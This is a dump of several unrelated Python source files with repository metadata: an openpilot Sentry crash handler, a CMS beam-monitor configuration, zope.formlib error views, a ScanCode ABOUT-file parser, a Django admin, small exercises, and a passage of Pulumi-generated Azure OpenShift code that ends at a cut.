4050f12cd3fda3e62426b196e960faffe455d7f7

938

py

Python

selfdrive/crash.py

darknight111/openpilot3

a0c755fbe1889f26404a8225816f57e89fde7bc2

[ "MIT" ]

19

2020-08-05T12:11:58.000Z

2022-03-07T01:18:56.000Z

selfdrive/crash.py

darknight111/openpilot3

a0c755fbe1889f26404a8225816f57e89fde7bc2

[ "MIT" ]

18

2020-08-20T05:17:38.000Z

2021-12-06T09:02:00.000Z

selfdrive/crash.py

darknight111/openpilot3

a0c755fbe1889f26404a8225816f57e89fde7bc2

[ "MIT" ]

25

2020-08-30T09:10:14.000Z

2022-02-20T02:31:13.000Z

"""Install exception handler for process crash.""" from selfdrive.swaglog import cloudlog from selfdrive.version import version import sentry_sdk from sentry_sdk.integrations.threading import ThreadingIntegration def capture_exception(*args, **kwargs) -> None: cloudlog.error("crash", exc_info=kwargs.get('exc_info', 1)) try: sentry_sdk.capture_exception(*args, **kwargs) sentry_sdk.flush() # https://github.com/getsentry/sentry-python/issues/291 except Exception: cloudlog.exception("sentry exception") def bind_user(**kwargs) -> None: sentry_sdk.set_user(kwargs) def bind_extra(**kwargs) -> None: for k, v in kwargs.items(): sentry_sdk.set_tag(k, v) def init() -> None: sentry_sdk.init("https://4c138e01b37142ac8a0b73f7a4f349eb@o346458.ingest.sentry.io/5861866", default_integrations=False, integrations=[ThreadingIntegration(propagate_hub=True)], release=version)

33.5

102

0.735608

116

938

5.801724

0.5

0.093611

0.059435

0.077266

0

0.045963

0.141791

938

27

103

34.740741

0.790062

0.105544

0

0.122449

0

1

0.2

true

0

0.2

0

0.4

0

null

0

null

0

1

0

1

405b957bd7045b5d856865ed3de04736c0fcea38

10,857

py

Python

DQM/BeamMonitor/test/44X_beam_dqm_sourceclient-live_cfg.py

nistefan/cmssw

ea13af97f7f2117a4f590a5e654e06ecd9825a5b

[ "Apache-2.0" ]

null

DQM/BeamMonitor/test/44X_beam_dqm_sourceclient-live_cfg.py

nistefan/cmssw

ea13af97f7f2117a4f590a5e654e06ecd9825a5b

[ "Apache-2.0" ]

null

DQM/BeamMonitor/test/44X_beam_dqm_sourceclient-live_cfg.py

nistefan/cmssw

ea13af97f7f2117a4f590a5e654e06ecd9825a5b

[ "Apache-2.0" ]

null

import FWCore.ParameterSet.Config as cms process = cms.Process("BeamMonitor") #---------------------------- # Common part for PP and H.I Running #----------------------------- process.load("DQM.Integration.test.inputsource_cfi") #-------------------------- # HLT Filter process.load("HLTrigger.special.HLTTriggerTypeFilter_cfi") # 0=random, 1=physics, 2=calibration, 3=technical process.hltTriggerTypeFilter.SelectedTriggerType = 1 #---------------------------- # DQM Live Environment #----------------------------- process.load("DQM.Integration.test.environment_cfi") process.dqmEnv.subSystemFolder = 'BeamMonitor' import DQMServices.Components.DQMEnvironment_cfi process.dqmEnvPixelLess = DQMServices.Components.DQMEnvironment_cfi.dqmEnv.clone() process.dqmEnvPixelLess.subSystemFolder = 'BeamMonitor_PixelLess' #---------------------------- # BeamMonitor #----------------------------- process.load("DQM.BeamMonitor.BeamMonitor_cff") process.load("DQM.BeamMonitor.BeamMonitorBx_cff") process.load("DQM.BeamMonitor.BeamMonitor_PixelLess_cff") process.load("DQM.BeamMonitor.BeamConditionsMonitor_cff") #### SETUP TRACKING RECONSTRUCTION #### process.load("Configuration.StandardSequences.GeometryRecoDB_cff") process.load('Configuration.StandardSequences.MagneticField_AutoFromDBCurrent_cff') process.load("DQM.Integration.test.FrontierCondition_GT_cfi") process.load("Configuration.StandardSequences.RawToDigi_Data_cff") # Change Beam Monitor variables if process.dqmSaver.producer.value() is "Playback": process.dqmBeamMonitor.BeamFitter.WriteAscii = False process.dqmBeamMonitor.BeamFitter.AsciiFileName = '/nfshome0/yumiceva/BeamMonitorDQM/BeamFitResults.txt' process.dqmBeamMonitor.BeamFitter.WriteDIPAscii = True process.dqmBeamMonitor.BeamFitter.DIPFileName = '/nfshome0/dqmdev/BeamMonitorDQM/BeamFitResults.txt' else: process.dqmBeamMonitor.BeamFitter.WriteAscii = True process.dqmBeamMonitor.BeamFitter.AsciiFileName = '/nfshome0/yumiceva/BeamMonitorDQM/BeamFitResults.txt' process.dqmBeamMonitor.BeamFitter.WriteDIPAscii = True process.dqmBeamMonitor.BeamFitter.DIPFileName = '/nfshome0/dqmpro/BeamMonitorDQM/BeamFitResults.txt' #process.dqmBeamMonitor.BeamFitter.SaveFitResults = False #process.dqmBeamMonitor.BeamFitter.OutputFileName = '/nfshome0/yumiceva/BeamMonitorDQM/BeamFitResults.root' process.dqmBeamMonitorBx.BeamFitter.WriteAscii = True process.dqmBeamMonitorBx.BeamFitter.AsciiFileName = '/nfshome0/yumiceva/BeamMonitorDQM/BeamFitResults_Bx.txt' ## TKStatus process.dqmTKStatus = cms.EDAnalyzer("TKStatus", BeamFitter = cms.PSet( DIPFileName = process.dqmBeamMonitor.BeamFitter.DIPFileName ) ) process.dqmcommon = cms.Sequence(process.dqmEnv *process.dqmSaver) process.monitor = cms.Sequence(process.dqmBeamMonitor) #-------------------------- # Proton-Proton Stuff #-------------------------- if (process.runType.getRunType() == process.runType.pp_run or process.runType.getRunType() == process.runType.cosmic_run): print "Running pp" process.EventStreamHttpReader.SelectEvents = cms.untracked.PSet( SelectEvents = cms.vstring('HLT_L1*', 'HLT_Jet*', 'HLT_*Cosmic*', 'HLT_HT*', 'HLT_MinBias_*', 'HLT_Physics*', 'HLT_ZeroBias_v*') ) process.load("Configuration.StandardSequences.Reconstruction_cff") process.load("RecoTracker.IterativeTracking.iterativeTk_cff") ## Pixelless Tracking process.load('RecoTracker/Configuration/RecoTrackerNotStandard_cff') process.MeasurementTracker.pixelClusterProducer = cms.string("") # Offline Beam Spot process.load("RecoVertex.BeamSpotProducer.BeamSpot_cff") ## Offline PrimaryVertices import RecoVertex.PrimaryVertexProducer.OfflinePrimaryVertices_cfi process.offlinePrimaryVertices = RecoVertex.PrimaryVertexProducer.OfflinePrimaryVertices_cfi.offlinePrimaryVertices.clone() process.dqmBeamMonitor.OnlineMode = True process.dqmBeamMonitor.resetEveryNLumi = 5 process.dqmBeamMonitor.resetPVEveryNLumi = 5 process.dqmBeamMonitor.PVFitter.minNrVerticesForFit = 25 process.dqmBeamMonitor.BeamFitter.TrackCollection = cms.untracked.InputTag('generalTracks') process.offlinePrimaryVertices.TrackLabel = cms.InputTag("generalTracks") process.offlinePrimaryVertices.label=cms.string("") process.offlinePrimaryVertices.minNdof=cms.double(0.0) process.offlinePrimaryVertices.useBeamConstraint=cms.bool(False) #TriggerName for selecting pv for DIP publication, NO wildcard needed here #it will pick all triggers which has these strings in theri name process.dqmBeamMonitor.jetTrigger = cms.untracked.vstring("HLT_ZeroBias_v", "HLT_Jet300_v", "HLT_QuadJet70_v") process.dqmBeamMonitor.hltResults = cms.InputTag("TriggerResults","","HLT") #fast general track reco process.iterTracking =cms.Sequence(process.InitialStep *process.LowPtTripletStep *process.PixelPairStep *process.DetachedTripletStep *process.MixedTripletStep *process.PixelLessStep *process.TobTecStep *process.generalTracks) process.tracking_FirstStep = cms.Sequence(process.siPixelDigis *process.siStripDigis *process.trackerlocalreco *process.offlineBeamSpot *process.recopixelvertexing *process.iterTracking) process.p = cms.Path(process.scalersRawToDigi *process.dqmTKStatus *process.hltTriggerTypeFilter *process.dqmcommon *process.tracking_FirstStep *process.offlinePrimaryVertices *process.monitor) #-------------------------------------------------- # Heavy Ion Stuff #-------------------------------------------------- if (process.runType.getRunType() == process.runType.hi_run): print "Running HI" process.castorDigis.InputLabel = cms.InputTag("rawDataRepacker") process.csctfDigis.producer = cms.InputTag("rawDataRepacker") process.dttfDigis.DTTF_FED_Source = cms.InputTag("rawDataRepacker") process.ecalDigis.InputLabel = cms.InputTag("rawDataRepacker") process.ecalPreshowerDigis.sourceTag = cms.InputTag("rawDataRepacker") process.gctDigis.inputLabel = cms.InputTag("rawDataRepacker") process.gtDigis.DaqGtInputTag = cms.InputTag("rawDataRepacker") process.gtEvmDigis.EvmGtInputTag = cms.InputTag("rawDataRepacker") process.hcalDigis.InputLabel = cms.InputTag("rawDataRepacker") process.muonCSCDigis.InputObjects = cms.InputTag("rawDataRepacker") process.muonDTDigis.inputLabel = cms.InputTag("rawDataRepacker") process.muonRPCDigis.InputLabel = cms.InputTag("rawDataRepacker") process.scalersRawToDigi.scalersInputTag = cms.InputTag("rawDataRepacker") #---------------------------- # Event Source #----------------------------- process.EventStreamHttpReader.SelectEvents = cms.untracked.PSet( SelectEvents = cms.vstring( 'HLT_HI*' ) ) process.dqmBeamMonitor.OnlineMode = True ## in MC the LS are not ordered?? process.dqmBeamMonitor.resetEveryNLumi = 10 process.dqmBeamMonitor.resetPVEveryNLumi = 10 process.dqmBeamMonitor.BeamFitter.MinimumTotalLayers = 3 ## using pixel triplets process.dqmBeamMonitor.PVFitter.minNrVerticesForFit = 20 process.dqmBeamMonitor.jetTrigger = cms.untracked.vstring("HLT_HI") process.dqmBeamMonitor.hltResults = cms.InputTag("TriggerResults","","HLT") ## Load Heavy Ion Sequence process.load("Configuration.StandardSequences.ReconstructionHeavyIons_cff") ## HI sequences # Select events based on the pixel cluster multiplicity import HLTrigger.special.hltPixelActivityFilter_cfi process.multFilter = HLTrigger.special.hltPixelActivityFilter_cfi.hltPixelActivityFilter.clone( inputTag = cms.InputTag('siPixelClusters'), minClusters = cms.uint32(150), maxClusters = cms.uint32(50000) ) process.filter_step = cms.Sequence( process.siPixelDigis *process.siPixelClusters #*process.multFilter ) process.HIRecoForDQM = cms.Sequence( process.siPixelDigis *process.siPixelClusters *process.siPixelRecHits *process.offlineBeamSpot *process.hiPixelVertices *process.hiPixel3PrimTracks ) # use HI pixel tracking and vertexing process.dqmBeamMonitor.BeamFitter.TrackCollection = cms.untracked.InputTag('hiPixel3PrimTracks') process.dqmBeamMonitorBx.BeamFitter.TrackCollection = cms.untracked.InputTag('hiPixel3PrimTracks') process.dqmBeamMonitor.primaryVertex = cms.untracked.InputTag('hiSelectedVertex') process.dqmBeamMonitor.PVFitter.VertexCollection = cms.untracked.InputTag('hiSelectedVertex') # make pixel vertexing less sensitive to incorrect beamspot process.hiPixel3ProtoTracks.RegionFactoryPSet.RegionPSet.originRadius = 0.2 process.hiPixel3ProtoTracks.RegionFactoryPSet.RegionPSet.fixedError = 0.5 process.hiSelectedProtoTracks.maxD0Significance = 100 process.hiPixelAdaptiveVertex.TkFilterParameters.maxD0Significance = 100 process.hiPixelAdaptiveVertex.vertexCollections.useBeamConstraint = False #not working due to wrong tag of reco process.hiPixelAdaptiveVertex.vertexCollections.maxDistanceToBeam = 1.0 process.p = cms.Path(process.scalersRawToDigi *process.dqmTKStatus *process.hltTriggerTypeFilter *process.filter_step *process.HIRecoForDQM *process.dqmcommon *process.monitor)

42.410156

127

0.644377

840

10,857

8.264286

0.333333

0.087727

0.062518

0.057044

0.300202

0.217228

0.198646

0.103717

0

0.007381

0.23874

10,857

255

128

42.576471

0.832547

0.122225

0

0.15894

0

0.16065

0.105341

0

null

0

0.02649

null

0.013245

0

null

0

null

0

1

0

1

4060cef76afd120f8b88cf8abb7104b1c967dfca

2,614

py

Python

src/zope/formlib/errors.py

zopefoundation/zope.formlib

af2d587a6eb24e59e95a8b1feb7aafc5d3b87ba4

[ "ZPL-2.1" ]

4

2018-05-09T04:16:25.000Z

2021-03-05T17:27:21.000Z

src/zope/formlib/errors.py

zopefoundation/zope.formlib

af2d587a6eb24e59e95a8b1feb7aafc5d3b87ba4

[ "ZPL-2.1" ]

25

2016-03-24T15:23:08.000Z

2021-03-05T16:53:53.000Z

src/zope/formlib/errors.py

zopefoundation/zope.formlib

af2d587a6eb24e59e95a8b1feb7aafc5d3b87ba4

[ "ZPL-2.1" ]

5

2015-02-11T13:32:06.000Z

2018-05-09T04:16:26.000Z

############################################################################## # # Copyright (c) 2006 Zope Foundation and Contributors. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS # FOR A PARTICULAR PURPOSE. # ############################################################################## """Error related things. """ try: from html import escape except ImportError: # pragma: NO COVER from cgi import escape from zope.component import adapter from zope.interface import implementer from zope.interface import Invalid from zope.i18n import Message from zope.i18n import translate from zope.publisher.interfaces.browser import IBrowserRequest from zope.publisher.browser import BrowserPage from zope.formlib.interfaces import IWidgetInputErrorView from zope.formlib.interfaces import IInvalidCSRFTokenError @implementer(IWidgetInputErrorView) @adapter(Invalid, IBrowserRequest) class InvalidErrorView(object): """Display a validation error as a snippet of text.""" def __init__(self, context, request): self.context = context self.request = request def snippet(self): """Convert a widget input error to an html snippet >>> from zope.interface.exceptions import Invalid >>> error = Invalid("You made an error!") >>> InvalidErrorView(error, None).snippet() u'<span class="error">You made an error!</span>' """ msg = self.context.args[0] if isinstance(msg, Message): msg = translate(msg, context=self.request) return u'<span class="error">%s</span>' % escape(msg) @adapter(IInvalidCSRFTokenError, IBrowserRequest) class InvalidCSRFTokenErrorView(BrowserPage): def update(self): self.request.response.setStatus(403) self.request.response.setHeader( 'Expires', 'Jan, 1 Jan 1970 00:00:00 GMT') self.request.response.setHeader( 'Cache-Control', 'no-store, no-cache, must-revalidate') self.request.response.setHeader( 'Pragma', 'no-cache') def render(self): msg = self.context.args[0] if isinstance(msg, Message): msg = translate(msg, context=self.request) return escape(msg) def __call__(self): self.update() return self.render()

34.394737

78

0.653405

298

2,614

5.704698

0.419463

0.047059

0.044706

0.049412

0.130588

0.094118

0

0.012387

0.197016

2,614

75

79

34.853333

0.797523

0.289594

0

0.214286

0

0.077159

0.014085

0

1

0.119048

false

0

0.285714

0

0.52381

0

null

0

null

0

1

0

1

4061946ebfbadada4a68b023604bd5475c508749

6,090

py

Python

src/packagedcode/about.py

sthagen/nexB-scancode-toolkit

12cc1286df78af898fae76fa339da2bb50ad51b9

[ "Apache-2.0", "CC-BY-4.0" ]

null

src/packagedcode/about.py

sthagen/nexB-scancode-toolkit

12cc1286df78af898fae76fa339da2bb50ad51b9

[ "Apache-2.0", "CC-BY-4.0" ]

null

src/packagedcode/about.py

sthagen/nexB-scancode-toolkit

12cc1286df78af898fae76fa339da2bb50ad51b9

[ "Apache-2.0", "CC-BY-4.0" ]

null

# # Copyright (c) nexB Inc. and others. All rights reserved. # ScanCode is a trademark of nexB Inc. # SPDX-License-Identifier: Apache-2.0 # See http://www.apache.org/licenses/LICENSE-2.0 for the license text. # See https://github.com/nexB/scancode-toolkit for support or download. # See https://aboutcode.org for more information about nexB OSS projects. # import io import os from pathlib import Path import saneyaml from packagedcode import models from packageurl import PackageURL # TODO: Override get_package_resource so it returns the Resource that the ABOUT file is describing TRACE = os.environ.get('SCANCODE_DEBUG_PACKAGE', False) def logger_debug(*args): pass if TRACE: import logging import sys logger = logging.getLogger(__name__) logging.basicConfig(stream=sys.stdout) logger.setLevel(logging.DEBUG) def logger_debug(*args): return logger.debug( ' '.join(isinstance(a, str) and a or repr(a) for a in args) ) class AboutFileHandler(models.DatafileHandler): datasource_id = 'about_file' default_package_type = 'about' path_patterns = ('*.ABOUT',) description = 'AboutCode ABOUT file' documentation_url = 'https://aboutcode-toolkit.readthedocs.io/en/latest/specification.html' @classmethod def parse(cls, location): """ Yield one or more Package manifest objects given a file ``location`` pointing to a package archive, manifest or similar. """ with io.open(location, encoding='utf-8') as loc: package_data = saneyaml.load(loc.read()) # About files can contain any purl and also have a namespace about_type = package_data.get('type') about_ns = package_data.get('namespace') purl_type = None purl_ns = None purl = package_data.get('purl') if purl: purl = PackageURL.from_string(purl) if purl: purl_type = purl.type package_type = about_type or purl_type or cls.default_package_type package_ns = about_ns or purl_ns name = package_data.get('name') version = package_data.get('version') homepage_url = package_data.get('home_url') or package_data.get('homepage_url') download_url = package_data.get('download_url') copyright_statement = package_data.get('copyright') license_expression = package_data.get('license_expression') declared_license = license_expression owner = package_data.get('owner') if not isinstance(owner, str): owner = repr(owner) parties = [models.Party(type=models.party_person, name=owner, role='owner')] # FIXME: also include notice_file and license_file(s) as file_references file_references = [] about_resource = package_data.get('about_resource') if about_resource: file_references.append(models.FileReference(path=about_resource)) # FIXME: we should put the unprocessed attributes in extra data yield models.PackageData( datasource_id=cls.datasource_id, type=package_type, namespace=package_ns, name=name, version=version, declared_license=declared_license, license_expression=license_expression, copyright=copyright_statement, parties=parties, homepage_url=homepage_url, download_url=download_url, file_references=file_references, ) @classmethod def assemble(cls, package_data, resource, codebase): """ Yield a Package. Note that ABOUT files do not carry dependencies. """ datafile_path = resource.path # do we have enough to create a package? if package_data.purl: package = models.Package.from_package_data( package_data=package_data, datafile_path=datafile_path, ) package_uid = package.package_uid # NOTE: we do not attach files to the Package level. Instead we # update `for_package` in the file resource.for_packages.append(package_uid) resource.save(codebase) if not package.license_expression: package.license_expression = cls.compute_normalized_license(package) yield package if resource.pid is not None and package_data.file_references: parent_resource = resource.parent(codebase) if parent_resource and package_data.file_references: root_path = Path(parent_resource.path) # FIXME: we should be able to get the path relatively to the # ABOUT file resource a file ref extends from the root of # the filesystem file_references_by_path = { str(root_path / ref.path): ref for ref in package.file_references } for res in parent_resource.walk(codebase): ref = file_references_by_path.get(res.path) if not ref: continue # path is found and processed: remove it, so we can # check if we found all of them del file_references_by_path[res.path] res.for_packages.append(package_uid) res.save(codebase) yield res # if we have left over file references, add these to extra data if file_references_by_path: missing = sorted(file_references_by_path.values(), key=lambda r: r.path) package.extra_data['missing_file_references'] = missing else: package.extra_data['missing_file_references'] = package_data.file_references[:] # we yield this as we do not want this further processed yield resource

36.25

98

0.621182

715

6,090

5.106294

0.296504

0.06327

0.046015

0.02739

0.050397

0.020268

0

0.001184

0.306732

6,090

167

99

36.467066

0.863572

0.209852

0

0.057143

0

0.0625

0.014358

0

0.017964

0

1

0.038095

false

0.009524

0.07619

0.009524

0.180952

0

null

0

null

0

1

0

1

4061e49b5b1d7dddbcbb3f8df2b62b73c065877a

2,359

py

Python

gazepattern/eyedetector/admin.py

AriRodriguezCruz/mcfgpr

c6f83f8e68bbab0054a7ea337feab276fc0790fc

[ "MIT" ]

null

gazepattern/eyedetector/admin.py

AriRodriguezCruz/mcfgpr

c6f83f8e68bbab0054a7ea337feab276fc0790fc

[ "MIT" ]

12

2020-06-05T22:56:39.000Z

2022-02-10T10:35:13.000Z

gazepattern/eyedetector/admin.py

AriRodriguezCruz/mcfgpr

c6f83f8e68bbab0054a7ea337feab276fc0790fc

[ "MIT" ]

1

2019-10-06T23:40:45.000Z

# -*- coding: utf-8 -*- #django from django.contrib import admin from django.db import transaction #python import csv from decimal import Decimal #gazepattern from .models import Experiment, ExperimentPoint, Image, ImageRectangle, ExperimentPointCSV, ExperimentFunction @transaction.atomic def procesar(modeladmin, request, queryset): for query in queryset: file = query.file with open(file.path) as csv_file: csv_reader = csv.reader(csv_file, delimiter=',') rows = [row for row in csv_reader if len(row)] for row in rows: experiment_id = int(row[0]) fixation_number = int(row[1]) x = Decimal(row[2]) y = Decimal(row[3]) experiment = Experiment.objects.get(pk=experiment_id) experiment_point = ExperimentPoint() experiment_point.experiment = experiment experiment_point.fixation_number = fixation_number experiment_point.x = x experiment_point.y = y experiment_point.save() procesar.short_description = "Procesar CSV para generar experiments points" class ExperimentPointCSVAdmin(admin.ModelAdmin): list_display = ['id', 'file'] ordering = ['id'] actions = [procesar, ] class ExperimentPointAdmin(admin.ModelAdmin): list_display = ['id', 'experiment_id', 'fixation_number', 'x', 'y'] ordering = ['id'] search_fields = ["experiment__id"] class ImageAdmin(admin.ModelAdmin): list_display = ['id', 'name'] ordering = ['id'] class ExperimentAdmin(admin.ModelAdmin): list_display = ['id', 'name', 'description'] ordering = ['id'] class ImageRectangleAdmin(admin.ModelAdmin): list_display = ['id', 'image_id','name'] ordering = ['id'] search_fields = ['image__id'] class ExperimentFunctionAdmin(admin.ModelAdmin): list_display = ['id', 'experiment_id', 'function'] ordering = ['id'] search_fields = ['experiment__id'] admin.site.register(ExperimentPointCSV, ExperimentPointCSVAdmin) admin.site.register(ExperimentPoint, ExperimentPointAdmin) admin.site.register(Image, ImageAdmin) admin.site.register(Experiment, ExperimentAdmin) admin.site.register(ImageRectangle, ImageRectangleAdmin) admin.site.register(ExperimentFunction, ExperimentFunctionAdmin)

31.878378

110

0.676982

245

2,359

6.37551

0.322449

0.046095

0.072983

0.099872

0.171575

0.135723

0.051216

0

0.00269

0.211954

2,359

74

111

31.878378

0.837547

0.018652

0

0.113208

0

0.083081

0

1

0.018868

false

0

0.09434

0

0.528302

0

null

0

null

0

1

0

1

406203c920d38242adfa5e5ed2a39070a52fd1c1

373

py

Python

codigo/hexagonal/app/adapter/light_bulb_repository.py

VulturARG/charla_01

43a53fded4f3205a02b00993a523e2f94b79fc99

[ "Apache-2.0" ]

null

codigo/hexagonal/app/adapter/light_bulb_repository.py

VulturARG/charla_01

43a53fded4f3205a02b00993a523e2f94b79fc99

[ "Apache-2.0" ]

null

codigo/hexagonal/app/adapter/light_bulb_repository.py

VulturARG/charla_01

43a53fded4f3205a02b00993a523e2f94b79fc99

[ "Apache-2.0" ]

null

from codigo.hexagonal.app.domain.switchable_repository import Switchable class LightBulb(Switchable): def turn_on(self) -> bool: print("Connecting with the device...") print("The light is on") return True def turn_off(self) -> bool: print("The light is off") print("Disconnecting with the device...") return False

26.642857

72

0.646113

46

373

5.173913

0.586957

0.058824

0.109244

0.12605

0

0.24933

373

13

73

28.692308

0.85

0

0.246649

0

1

0.2

false

0

0.1

0

0.6

0.4

0

null

0

null

0

1

0

1

4062ba894ee618c56f6c5822e3859495a6c3298f

541

py

Python

aula12/ex1.py

otaviobizulli/python-exercices

2c61f014bf481fa463721b174ddd4238bf8d0cb3

[ "MIT" ]

null

aula12/ex1.py

otaviobizulli/python-exercices

2c61f014bf481fa463721b174ddd4238bf8d0cb3

[ "MIT" ]

null

aula12/ex1.py

otaviobizulli/python-exercices

2c61f014bf481fa463721b174ddd4238bf8d0cb3

[ "MIT" ]

null

from random import randint menor = 100 linha = 0 maior = 0 m = [] for i in range(10): m.append([]) for j in range(10): m[i].append(randint(1,99)) for i in range(10): for j in range(10): print(f'{m[i][j]:2}',end=' ') print() for i in range(10): for j in range(10): if m[i][j] > maior: maior = m[i][j] linha = i for i in range(10): if m[linha][i] < menor: menor = m[linha][i] print(f'o minimax é {menor}, com o maior sendo {maior} na linha {linha+1}.')

16.393939

76

0.51756

97

541

2.886598

0.309278

0.175

0.225

0.157143

0.346429

0.185714

0

0.064343

0.310536

541

32

77

16.90625

0.686327

0

0.318182

0

0.145794

0

1

0

false

0

0.045455

0

0.045455

0.136364

0

null

0

1

0

null

0

1

4067cec9a6ceb8438c7e66edc2d29eb2148964ae

1,323

py

Python

sql/src/test/resources/joins/create_sample_table.py

MichelaSalvemini/Modelli_project

b70d505f9c3fef4a5f857fdccaa60b1b64c8a71d

[ "Apache-2.0" ]

677

2016-01-04T04:05:50.000Z

2022-03-24T06:37:27.000Z

sql/src/test/resources/joins/create_sample_table.py

MichelaSalvemini/Modelli_project

b70d505f9c3fef4a5f857fdccaa60b1b64c8a71d

[ "Apache-2.0" ]

249

2015-12-29T03:41:31.000Z

2020-09-02T03:11:30.000Z

sql/src/test/resources/joins/create_sample_table.py

MichelaSalvemini/Modelli_project

b70d505f9c3fef4a5f857fdccaa60b1b64c8a71d

[ "Apache-2.0" ]

148

2015-12-29T03:25:48.000Z

2021-08-25T03:59:52.000Z

#! /usr/bin/env python from __future__ import print_function import pandas as pd import numpy as np import argparse def generate_csv(start_index, fname): cols = [ str('A' + str(i)) for i in range(start_index, NUM_COLS + start_index) ] data = [] for i in range(NUM_ROWS): vals = (np.random.choice(NUM_DISTINCT_VALS) for j in range(NUM_COLS)) data.append(vals) df = pd.DataFrame(data=data, columns=cols) df.to_csv(fname, index=False, header=True) if __name__ == '__main__': parser = argparse.ArgumentParser( description='Generate sample tables to test joins.') parser.add_argument('--num-rows', '-r', type=int, default=100) parser.add_argument('--num-cols', '-c', type=int, required=True) parser.add_argument('--num-distinct-vals', '-d', type=int, required=True) parser.add_argument('--num-cols-overlap', '-o', type=int, default=1) args = parser.parse_args() NUM_ROWS = args.num_rows NUM_COLS = args.num_cols NUM_DISTINCT_VALS = args.num_distinct_vals num_overlap = args.num_cols_overlap if num_overlap > NUM_COLS: print('--num-cols-overlap cannot be greater than --num-cols') import sys sys.exit(1) generate_csv(0, 'table_a.csv') generate_csv(NUM_COLS - num_overlap, 'table_b.csv')

30.068182

77

0.670446

195

1,323

4.307692

0.4

0.091667

0.071429

0.095238

0.12619

0.092857

0

0.00565

0.197279

1,323

43

78

30.767442

0.785311

0.015873

0

1

0

0.142198

0

1

0.03125

false

0

0.15625

0

0.1875

0.0625

0

null

0

1

0

null

0

1

40686c4879d63aced85e26a35f076b9028592fdb

24,660

py

Python

sdk/python/pulumi_azure_native/containerservice/v20191027preview/open_shift_managed_cluster.py

sebtelko/pulumi-azure-native

711ec021b5c73da05611c56c8a35adb0ce3244e4

[ "Apache-2.0" ]

null

sdk/python/pulumi_azure_native/containerservice/v20191027preview/open_shift_managed_cluster.py

sebtelko/pulumi-azure-native

711ec021b5c73da05611c56c8a35adb0ce3244e4

[ "Apache-2.0" ]

null

sdk/python/pulumi_azure_native/containerservice/v20191027preview/open_shift_managed_cluster.py

sebtelko/pulumi-azure-native

711ec021b5c73da05611c56c8a35adb0ce3244e4

[ "Apache-2.0" ]

null

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from ... import _utilities from . import outputs from ._enums import * from ._inputs import * __all__ = ['OpenShiftManagedClusterArgs', 'OpenShiftManagedCluster'] @pulumi.input_type class OpenShiftManagedClusterArgs: def __init__(__self__, *, open_shift_version: pulumi.Input[str], resource_group_name: pulumi.Input[str], agent_pool_profiles: Optional[pulumi.Input[Sequence[pulumi.Input['OpenShiftManagedClusterAgentPoolProfileArgs']]]] = None, auth_profile: Optional[pulumi.Input['OpenShiftManagedClusterAuthProfileArgs']] = None, location: Optional[pulumi.Input[str]] = None, master_pool_profile: Optional[pulumi.Input['OpenShiftManagedClusterMasterPoolProfileArgs']] = None, monitor_profile: Optional[pulumi.Input['OpenShiftManagedClusterMonitorProfileArgs']] = None, network_profile: Optional[pulumi.Input['NetworkProfileArgs']] = None, plan: Optional[pulumi.Input['PurchasePlanArgs']] = None, refresh_cluster: Optional[pulumi.Input[bool]] = None, resource_name: Optional[pulumi.Input[str]] = None, router_profiles: Optional[pulumi.Input[Sequence[pulumi.Input['OpenShiftRouterProfileArgs']]]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None): """ The set of arguments for constructing a OpenShiftManagedCluster resource. :param pulumi.Input[str] open_shift_version: Version of OpenShift specified when creating the cluster. :param pulumi.Input[str] resource_group_name: The name of the resource group. :param pulumi.Input[Sequence[pulumi.Input['OpenShiftManagedClusterAgentPoolProfileArgs']]] agent_pool_profiles: Configuration of OpenShift cluster VMs. :param pulumi.Input['OpenShiftManagedClusterAuthProfileArgs'] auth_profile: Configures OpenShift authentication. :param pulumi.Input[str] location: Resource location :param pulumi.Input['OpenShiftManagedClusterMasterPoolProfileArgs'] master_pool_profile: Configuration for OpenShift master VMs. :param pulumi.Input['OpenShiftManagedClusterMonitorProfileArgs'] monitor_profile: Configures Log Analytics integration. :param pulumi.Input['NetworkProfileArgs'] network_profile: Configuration for OpenShift networking. :param pulumi.Input['PurchasePlanArgs'] plan: Define the resource plan as required by ARM for billing purposes :param pulumi.Input[bool] refresh_cluster: Allows node rotation :param pulumi.Input[str] resource_name: The name of the OpenShift managed cluster resource. :param pulumi.Input[Sequence[pulumi.Input['OpenShiftRouterProfileArgs']]] router_profiles: Configuration for OpenShift router(s). :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Resource tags """ pulumi.set(__self__, "open_shift_version", open_shift_version) pulumi.set(__self__, "resource_group_name", resource_group_name) if agent_pool_profiles is not None: pulumi.set(__self__, "agent_pool_profiles", agent_pool_profiles) if auth_profile is not None: pulumi.set(__self__, "auth_profile", auth_profile) if location is not None: pulumi.set(__self__, "location", location) if master_pool_profile is not None: pulumi.set(__self__, "master_pool_profile", master_pool_profile) if monitor_profile is not None: pulumi.set(__self__, "monitor_profile", monitor_profile) if network_profile is not None: pulumi.set(__self__, "network_profile", network_profile) if plan is not None: pulumi.set(__self__, "plan", plan) if refresh_cluster is not None: pulumi.set(__self__, "refresh_cluster", refresh_cluster) if resource_name is not None: pulumi.set(__self__, "resource_name", resource_name) if router_profiles is not None: pulumi.set(__self__, "router_profiles", router_profiles) if tags is not None: pulumi.set(__self__, "tags", tags) @property @pulumi.getter(name="openShiftVersion") def open_shift_version(self) -> pulumi.Input[str]: """ Version of OpenShift specified when creating the cluster. """ return pulumi.get(self, "open_shift_version") @open_shift_version.setter def open_shift_version(self, value: pulumi.Input[str]): pulumi.set(self, "open_shift_version", value) @property @pulumi.getter(name="resourceGroupName") def resource_group_name(self) -> pulumi.Input[str]: """ The name of the resource group. """ return pulumi.get(self, "resource_group_name") @resource_group_name.setter def resource_group_name(self, value: pulumi.Input[str]): pulumi.set(self, "resource_group_name", value) @property @pulumi.getter(name="agentPoolProfiles") def agent_pool_profiles(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['OpenShiftManagedClusterAgentPoolProfileArgs']]]]: """ Configuration of OpenShift cluster VMs. """ return 